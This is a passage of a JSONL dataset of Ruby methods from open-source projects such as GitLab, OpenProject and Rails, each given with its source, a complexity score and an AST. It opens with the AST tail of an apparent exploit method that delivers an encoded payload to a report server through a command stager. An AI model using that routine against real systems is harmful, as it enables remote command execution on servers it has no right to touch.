end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to detect the application\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_response\",{\"type\":\"send\",\"children\":[null,\"send_api_request\",{\"type\":\"str\",\"children\":[\"ReportServerInfo\"]},{\"type\":\"str\",\"children\":[\"Model.GetVirtualDirectory\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_response\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to detect the report server virtual directory\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"directory\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected the report server virtual directory as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vd\"]},{\"type\":\"lvar\",\"children\":[\"directory\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"windows_command\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_target\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"windows_command\"]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_target\"]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Space\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMDSTAGER::DELAY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}]}]}]}]}]}","id":"e26b0e10-73d1-4d75-8b9a-ed4de0764373"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sorting_helper.rb","start_line":168,"raw_source":"def issuable_sort_options(viewing_issues, viewing_merge_requests)\n    options = [\n      { value: sort_value_priority, text: sort_title_priority, href: page_filter_path(sort: sort_value_priority) },\n      {\n        value: sort_value_created_date,\n        text: sort_title_created_date,\n        href: page_filter_path(sort: sort_value_created_date)\n      },\n      {\n        value: sort_value_closed_date,\n        text: sort_title_closed_date,\n        href: page_filter_path(sort: sort_value_closed_date)\n      },\n      {\n        value: sort_value_recently_updated,\n        text: sort_title_recently_updated,\n        href: page_filter_path(sort: sort_value_recently_updated)\n      },\n      { value: sort_value_milestone, text: sort_title_milestone, href: page_filter_path(sort: sort_value_milestone) }\n    ]\n\n    options.concat([due_date_option]) if viewing_issues\n\n    options.concat([popularity_option, label_priority_option])\n    options.concat([merged_option]) if can_sort_by_merged_date?(viewing_merge_requests)\n    options.concat([relative_position_option]) if viewing_issues\n\n    options.concat([title_option])\n  end","complexity_score":38.8,"ast_json":"{\"type\":\"def\",\"children\":[\"issuable_sort_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"viewing_issues\"]},{\"type\":\"arg\",\"children\":[\"viewing_merge_requests\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_priority\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"sort_title_priority\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"page_filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_priority\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_created_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"sort_title_created_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"page_filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_created_date\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_closed_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"sort_title_closed_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"page_filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_closed_date\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_recently_updated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"sort_title_recently_updated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"page_filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_recently_updated\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_milestone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"sort_title_milestone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"page_filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_milestone\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"viewing_issues\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"due_date_option\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"popularity_option\"]},{\"type\":\"send\",\"children\":[null,\"label_priority_option\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_sort_by_merged_date?\",{\"type\":\"lvar\",\"children\":[\"viewing_merge_requests\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged_option\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"viewing_issues\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relative_position_option\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title_option\"]}]}]}]}]}","id":"22847658-80a9-4e90-8ac7-9f50ba9322a6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/backup_job.rb","start_line":219,"raw_source":"def skip_attachments?\n    !(include_attachments? && Backup.attachments_size_in_bounds?(max: attachment_size_max_sum_mb))\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_attachments?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_attachments?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Backup\"]},\"attachments_size_in_bounds?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"send\",\"children\":[null,\"attachment_size_max_sum_mb\"]}]}]}]}]}]},\"!\"]}]}","id":"21e3da55-df29-4656-89b5-c801fd63d8ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning.rb","start_line":23,"raw_source":"def register_tables(tables)\n          registered_tables.merge(tables)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_tables\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tables\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registered_tables\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"tables\"]}]}]}","id":"e2f489a5-ad50-45c2-b57d-9f1260a17b89"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/logger.rb","start_line":121,"raw_source":"def enabled?\n          ::Feature.enabled?(:ci_pipeline_creation_logger, project, type: :ops)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"ci_pipeline_creation_logger\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]}]}","id":"8c6566a6-71ff-4514-9a13-a9e8e10fad66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests_controller.rb","start_line":507,"raw_source":"def head_pipeline\n    pipeline = @merge_request.head_pipeline\n    pipeline if can?(current_user, :read_pipeline, pipeline)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"head_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"head_pipeline\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]},null]}]}]}","id":"83a7a5a6-051d-438a-a952-80f85cdcf19c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/operator.rb","start_line":117,"raw_source":"def modify(query, field, *values)\n        if values.size == 1 && values.first.nil?\n          query.where \"#{field} IS NULL\"\n        elsif values.all?(&:blank?)\n          query.where \"1=0\"\n        else\n          query.where \"#{field} IN #{collection(*values)}\"\n        end\n        query\n      end","complexity_score":15.53,"ast_json":"{\"type\":\"def\",\"children\":[\"modify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\" IS NULL\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"str\",\"children\":[\"1=0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\" IN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"5a615eb8-7800-4586-9e77-7d78ee6f225d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":798,"raw_source":"def system_note_viewable_by_group_ability?(user)\n    group_restriction = TYPES_RESTRICTED_BY_GROUP_ABILITY[system_note_metadata.action.to_sym]\n    !group_restriction || Ability.allowed?(user, group_restriction, project&.group)\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"system_note_viewable_by_group_ability?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_restriction\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES_RESTRICTED_BY_GROUP_ABILITY\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"system_note_metadata\"]},\"action\"]},\"to_sym\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_restriction\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"group_restriction\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"group\"]}]}]}]}]}","id":"cf7e4a2f-a2ba-4c9a-9d9a-1e2c13db97d1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/context/function_processor.rb","start_line":25,"raw_source":"def validate!(input, func_id, desired_func_args)\n          raise ArgumentError if desired_func_args.nil? || desired_func_args.empty?\n\n          desired_func_args.each do |name|\n            raise ArgumentError unless VALID_ARGUMENTS.include?(name)\n          end\n\n          raise ArgumentError if desired_func_args.include?(:year) && !input[:year].is_a?(Integer)\n          raise ArgumentError if desired_func_args.include?(:month) && (input[:month] < 0 || input[:month] > 12)\n          raise ArgumentError if desired_func_args.include?(:day) && (input[:day] < 1 || input[:day] > 31)\n          raise ArgumentError if desired_func_args.include?(:region) && !input[:region].is_a?(Symbol)\n        end","complexity_score":48.95,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"func_id\"]},{\"type\":\"arg\",\"children\":[\"desired_func_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_func_args\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_func_args\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_func_args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALID_ARGUMENTS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_func_args\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_func_args\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"month\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"month\"]}]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"month\"]}]},\">\",{\"type\":\"int\",\"children\":[12]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_func_args\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"day\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"day\"]}]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"day\"]}]},\">\",{\"type\":\"int\",\"children\":[31]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_func_args\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"region\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"region\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]}]}]}","id":"74df2843-da78-4e66-8322-2992a29db2f5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/fastlane_require.rb","start_line":41,"raw_source":"def gem_installed?(name, req = Gem::Requirement.default)\n        installed = Gem::Specification.any? { |s| s.name == name and req =~ s.version }\n        return true if installed\n\n        # In special cases a gem is already preinstalled, e.g. YAML.\n        # To find out we try to load a gem with that name in a child process\n        # (so we don't actually load anything we don't want to load)\n        # See https://github.com/fastlane/fastlane/issues/6951\n        require_tester = <<-RB.gsub(/^ */, '')\n          begin\n            require ARGV.first\n          rescue LoadError\n            exit(1)\n          end\n        RB\n        system(RbConfig.ruby, \"-e\", require_tester.lines.map(&:chomp).join(\"; \"), name)\n        return $?.success?\n      end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"gem_installed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Requirement\"]},\"default\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"installed\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Specification\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"version\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installed\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"require_tester\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          begin\\n\"]},{\"type\":\"str\",\"children\":[\"            require ARGV.first\\n\"]},{\"type\":\"str\",\"children\":[\"          rescue LoadError\\n\"]},{\"type\":\"str\",\"children\":[\"            exit(1)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ *\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbConfig\"]},\"ruby\"]},{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"require_tester\"]},\"lines\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"chomp\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"; \"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$?\"]},\"success?\"]}]}]}]}","id":"2f8ed444-5809-449f-b26d-9309e291248c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/acts_as_ar_model.rb","start_line":145,"raw_source":"def self.find(*_args)\n    raise NotImplementedError, _(\"find must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"find must be implemented in a subclass\"]}]}]}]}","id":"b4484eb0-fdff-4542-a417-27b9cf30cb75"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value.rb","start_line":11,"raw_source":"def queries\n        return [ reflection.join_foreign_key => values ] if values.empty?\n\n        type_to_ids_mapping.map do |type, ids|\n          query = {}\n          query[reflection.join_foreign_type] = type if type\n          query[reflection.join_foreign_key] = ids\n          query\n        end\n      end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"join_foreign_key\"]},{\"type\":\"send\",\"children\":[null,\"values\"]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type_to_ids_mapping\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"join_foreign_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"join_foreign_key\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}","id":"6428abbb-4db1-40ff-936f-fbd84461231e"}
